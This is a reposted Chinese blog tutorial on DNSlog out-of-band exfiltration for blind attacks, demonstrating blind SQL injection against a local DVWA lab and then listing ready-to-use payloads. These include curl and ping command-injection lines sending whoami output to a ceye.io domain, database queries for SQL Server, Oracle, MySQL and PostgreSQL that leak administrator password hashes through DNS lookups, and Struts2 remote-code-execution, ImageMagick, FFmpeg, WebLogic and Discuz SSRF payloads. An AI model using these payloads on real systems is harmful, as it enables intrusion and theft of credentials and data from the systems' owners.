mysql dnslog_dnslog小技巧

mysql dnslog_dnslog小技巧一 dnslog 利用场景主要针对无回显的情况 Sql BlindRCESSRF RemoteFileIn 二 原理将 dnslog 平台中的特有字段 payload 带入目标发起 dns 请求 通过 dns 解析将请求后的关键信息组合成新的三级域名带出 在 ns 服务器的 dns 日志中显示出来 三 案例展示 1 sql 盲注普通的注入输入 1 and 1 1 查询成功 1 and 1

一、dnslog利用场景

主要针对无回显的情况。

Sql-Blind

RCE

SSRF

RFI(Remote File Inclusion)

二、原理

将dnslog平台中的特有字段payload带入目标发起dns请求,通过dns解析将请求后的关键信息组合成新的三级域名带出,在ns服务器的dns日志中显示出来。

d5d8d3dbbae48f4dec0df2b5b68f9e1f.png

三、案例展示

1.sql盲注

普通的注入

输入 1′ and ‘1’=’1,查询成功,1′ and ‘1’=’2查询失败,结果为空

bd6ffc57a1316d8fd5d2efba4bab39c4.png

8423877d02153c5c4d3a96d501a66322.png

输入 1′ or ‘1’=’1 查询成功

d08e28f7e94753ad59470898bfc92d27.png

综上,存在注入,字符型。

使用 order by 猜解出来字段为2。

c066cb2bb88ebc387f7223d5acf4029f.png

64ccd36cdba0001ef816e499eddba61b.png

显位,输入 1′ union select 1,2 #

6d78a79a23f9bbc5bec6f2afac1d02b5.png

输入 1′ union select user(),database() #获取当前用户及数据库

99de7dfb0826378dbb58177dd1119e14.png

就不继续往下了,但盲注是不显位的,除了我们常规的猜数据库长度,二分法猜每个字母 acsii码 值外,就能用到dnslog了。

dnslog用于盲注

判断注入

输入 1, 2, 3, 4, 5 ,显示存在;

输入 1′ and ‘1’=’1 ,显示存在;

输入 1′ and ‘1’=’2 ,显示不存在。

ad2d3703d9a82d76ba2f7e85171ab11d.png

1b97d43fe543b31f59a18b81ea82ba3e.png

存在注入,字符型。

这里就不用判断字段了,判断字段是为了后面显位。

这里直接使用 dnslog 平台的二级域名 0ox095.ceye.io。

输入如下查询数据库,然后到dnslog平台查看:

# dns查询有长度限制,必要的时候需要对查询结果做字符串切割。

http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/

?id=1′ and if((select load_file(concat(‘\\\\’,(select database()),’.0ox095.ceye.io\\sql_test’))),1,0)–+

&Submit=Submit#

a195c3aac20e5d7109a6656f30d197f4.png

其中 and if((select load_file(concat(‘\\\\’,(select database()),’.0ox095.ceye.io\\sql_test’))),1,0)–+

解释如下:

– and 连接符,测试用 or 也可以

– if(x,1,0) 如果x为真输出1,为假输出0,在此不重要,主要是将 x带入数据库中,然后得出的结果进行dns解析成 dvwa.0ox095.ceye.io

– select 查询

– load_file() 读取文件内容

– concat 拼接字段,这里拼接成了 \\dvwa.0ox095.ceye.io\sql_test

– \\\\ widnows中用共享文件的时候就会用到这种网络地址的形式,而且转义问题所以前面4个\变成了2个,后面2个变成了1个,最终结果见上一行。

– select database() 查看当前数据库,查询的任何内容在此替换(如查表、字段、数据等)。

– 最后 –+ 为mysql注释,– 后需要一个空格,用+代替。

完整流程:

# 爆数据库(mysql5.0以上版本才有information_schema数据库)

select schema_name from information_schema.schemata limit 0,1

select schema_name from information_schema.schemata limit 1,1

# 爆表(后面为数据库名或者其十六进制)

select table_name from information_schema.tables where table_schema=’dvwa’ limit 0,1

select table_name from information_schema.tables where table_schema=0x limit 0,1

# 爆字段

select column_name from information_schema.columns where table_name=’users’ limit 0,1

# 爆数据

select user from users limit 0,1

select password from users limit 0,1

得到 admin / 5f4dcc3b5aa765d61d8327deb882cf99

2.命令执行

curl http://0ox095.ceye.io/`whoami`

f4c6a8cc069f1bc0e088c359364f6caa.png

win的常用变量

变量

类型

描述

%ALLUSERSPROFILE%

本地

返回“所有用户”配置文件的位置。

%APPDATA%

本地

返回默认情况下应用程序存储数据的位置。

%CD%

本地

返回当前目录字符串。

%CMDCMDLINE%

本地

返回用来启动当前的 Cmd.exe 的准确命令行。

%CMDEXTVERSION%

系统

返回当前的“命令处理程序扩展”的版本号。

%COMPUTERNAME%

系统

返回计算机的名称。

%COMSPEC%

系统

返回命令行解释器可执行程序的准确路径。

%DATE%

系统

返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。

%ERRORLEVEL%

系统

返回上一条命令的错误代码。通常用非零值表示错误。

%HOMEDRIVE%

系统

返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。

%HOMEPATH%

系统

返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。

%HOMESHARE%

系统

返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。

%LOGONSERVER%

本地

返回验证当前登录会话的域控制器的名称。

%NUMBER_OF_PROCESSORS%

系统

指定安装在计算机上的处理器的数目。

%OS%

系统

返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。

%PATH%

系统

指定可执行文件的搜索路径。

%PATHEXT%

系统

返回操作系统认为可执行的文件扩展名的列表。

%PROCESSOR_ARCHITECTURE%

系统

返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。

%PROCESSOR_IDENTFIER%

系统

返回处理器说明。

%PROCESSOR_LEVEL%

系统

返回计算机上安装的处理器的型号。

%PROCESSOR_REVISION%

系统

返回处理器的版本号。

%PROMPT%

本地

返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。

%RANDOM%

系统

返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。

%SYSTEMDRIVE%

系统

返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。

%SYSTEMROOT%

系统

返回 Windows server operating system 根目录的位置。

%TEMP%和%TMP%

系统和用户

返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。

%TIME%

系统

返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。

%USERDOMAIN%

本地

返回包含用户帐户的域的名称。

%USERNAME%

本地

返回当前登录的用户的名称。

%USERPROFILE%

本地

返回当前用户的配置文件的位置。

%WINDIR%

系统

返回操作系统目录的位置。

其他payload

0x00 Command Execution

1.*nix:

curl http://b182oj.ceye.io/`whoami`

ping `whoami`.b182oj.ceye.io

windows

ping %USERNAME%.b182oj.ceye.io

0x01 SQL Injection

1.SQL Server

DECLARE @host varchar(1024);

SELECT @host=(SELECT TOP 1

master.dbo.fn_varbintohexstr(password_hash)

FROM sys.sql_logins WHERE name=’sa’)

+’.b182oj.ceye.io’;

EXEC(‘master..xp_dirtree

“\\’+@host+’\foobar$”‘);

2.Oracle

SELECT UTL_INADDR.GET_HOST_ADDRESS(‘b182oj.ceye.io’);

SELECT UTL_HTTP.REQUEST(‘http://b182oj.ceye.io/oracle’) FROM DUAL;

SELECT HTTPURITYPE(‘http://b182oj.ceye.io/oracle’).GETCLOB() FROM DUAL;

SELECT DBMS_LDAP.INIT((‘oracle.b182oj.ceye.io’,80) FROM DUAL;

SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name=’SYS’)||’.b182oj.ceye.io’,80) FROM DUAL;

3.MySQL

SELECT LOAD_FILE(CONCAT(‘\\\\’,(SELECT password FROM mysql.user WHERE user=’root’ LIMIT 1),’.mysql.b182oj.ceye.io\\abc’));

4.PostgreSQL

DROP TABLE IF EXISTS table_output;

CREATE TABLE table_output(content text);

CREATE OR REPLACE FUNCTION temp_function()

RETURNS VOID AS $

DECLARE exec_cmd TEXT;

DECLARE query_result TEXT;

BEGIN

SELECT INTO query_result (SELECT passwd

FROM pg_shadow WHERE usename=’postgres’);

exec_cmd := E’COPY table_output(content)

FROM E\’\\\\\\\\’||query_result||E’.psql.b182oj.ceye.io\\\\foobar.txt\”;

EXECUTE exec_cmd;

END;

$ LANGUAGE plpgsql SECURITY DEFINER;

SELECT temp_function();

0x02 XML Entity Injection

%remote;]>

0x03 Others

1.Struts2

xx.action?redirect:http://b182oj.ceye.io/%25{3*4}

xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{‘whoami’})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d”http://b182oj.ceye.io/result%3d”.concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod(“GET”),%23http.connect(),%23http.getInputStream()}

2 FFMpeg

#EXTM3U

#EXT-X-MEDIA-SEQUENCE:0

#EXTINF:10.0,

concat:http://b182oj.ceye.io

#EXT-X-ENDLIST

3.Weblogic

xxoo.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://b182oj.ceye.io/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search

4.ImageMagick

push graphic-context

viewbox 0 0 640 480

fill ‘url(http://b182oj.ceye.io)’

pop graphic-context

5.Resin

xxoo.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://b182oj.ceye.io/ssrf

6.Discuz

http://xxx.xxxx.com/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://b182oj.ceye.io/xx.jpg[/img]&formhash=xxoo

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/212265.html原文链接:https://javaforall.net

(0)
上一篇 2026年3月18日 下午8:26
下一篇 2026年3月18日 下午8:26


相关推荐

  • WinForm——MDI窗体

    WinForm——MDI窗体MDI 窗体由一个父窗体和若干个子窗体组成 MDI 窗体允许同时显示多个窗体 他常包括含有子菜单的 窗口 菜单项 该菜单项用于在窗口之间进行切换 MDI 窗体的设置并不复杂 只需要将窗体的属性 IsMdiContain 设置为 True 即可 该属性既可以在 Windows 窗体的属性窗口中设置 也可以通过代码设置 这里在窗体加载事件 Load 中设置窗体为 MDI 窗体 代码如下 t

    2026年3月19日
    1
  • python mysql 清空表数据

    python mysql 清空表数据mydb=mysql.connector.connect(user=user,password=pwd,host=‘127.0.0.1’,database=‘stock’)mycursor=mydb.cursor()mycursor=mydb.cursor()sql=‘truncatetablehistory’##清空#mycursor.execute…

    2022年6月12日
    101
  • Django(10)ORM模型介绍

    Django(10)ORM模型介绍前言随着项目越来越大,采用写原生SQL的方式在代码中会出现大量的SQL语句,那么问题就出现了:1.SQL语句重复利用率不高,越复杂的SQL语句条件越多,代码越长。会出现很多相近的SQL语句。2.

    2022年8月7日
    13
  • linux ip路由不可达原理,traceroute原理

    linux ip路由不可达原理,traceroute原理traceroute 也就是 traceroute 跟踪路由 这个程序最早是 VanJacobson 实现的 源码在网上可以找到 不过我还没有去找 主要的原理是 IP 路由过程中对数据包 TTL TimetoLive 存活时间 的处理 当路由器收到一个 IP 包时 会修改 IP 包的 TTL 及由此造成的头部检验和 checksum 变化 每收到一个包 检查这个的 TTL 是否是 0 或 1 如果是 表明这个包还没有

    2026年3月26日
    2
  • java自学经验(基础)

    屌丝逆袭,成神之路

    2022年4月11日
    102
  • C语言fscanf和fprintf函数的用法详解

    C语言fscanf和fprintf函数的用法详解fscanf()和fprintf()函数与前面使用的scanf()和printf()功能相似,都是格式化读写函数,两者的区别在于fscanf()和fprintf()的读写对象不是键盘和显示器,而是磁盘文件。这两个函数的原型为:intfscanf(FILE*fp,char*format,…);intfprintf(FILE*fp,char…

    2022年10月19日
    3

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号